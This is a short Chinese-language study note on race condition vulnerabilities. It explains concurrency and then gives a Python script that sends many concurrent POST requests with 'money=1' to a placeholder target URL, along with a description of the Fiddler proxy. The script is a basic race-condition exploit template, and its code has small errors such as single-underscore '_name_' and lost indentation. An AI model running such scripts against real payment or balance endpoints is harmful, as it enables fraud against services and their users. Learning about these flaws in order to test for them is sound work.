条件竞争漏洞
条件竞争漏洞是一种服务器端的漏洞
由于服务器在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类漏洞的发生
并发
并发实质上是一个物理CPU在若干程序之间多路复用
并发性是对有限物理资源强制行使多用户共享以提高效率
微观:并发请求通过算法排队等候执行
宏观:多个几乎同时到达的请求在同时被处理
利用
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import requests
import threading
import Queue
url = "目标url"
threads = 25
q = Queue.Queue()
for i in range(50):
q.put(i)
def post():
while not q.empty():
q.get()
r = requests.post(url,data={'money':1})
print(r.text)
if _name_=='_main_':
for i in range(threads):
t = threading.Thread(target=post)
t.start()
for i in range(threads):
t.join()工具:
Fiddler
Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。Fiddler要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。